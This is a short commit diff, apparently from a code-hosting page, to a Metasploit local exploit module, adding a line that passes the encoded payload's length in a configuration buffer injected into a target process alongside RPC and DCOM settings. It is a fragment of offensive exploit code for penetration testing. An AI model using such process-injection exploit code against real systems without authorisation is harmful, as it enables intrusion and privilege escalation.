feat: pass payload length to the dll
This commit is contained in:
parent
944bda316e
commit
dca99552e6
|
@ -169,6 +169,7 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
configuration += "#{datastore['RPC_IP']}\x00"
|
||||
configuration += "#{datastore['RPC_PORT']}\x00"
|
||||
configuration += "#{datastore['DCOM_IP']}\x00"
|
||||
configuration += "#{payload.encoded.length}\x00"
|
||||
configuration += payload.encoded
|
||||
payload_mem = inject_into_process(process, configuration)
|
||||
# invoke the exploit, passing in the address of the payload that
|
||||
|
|
Loading…
Reference in New Issue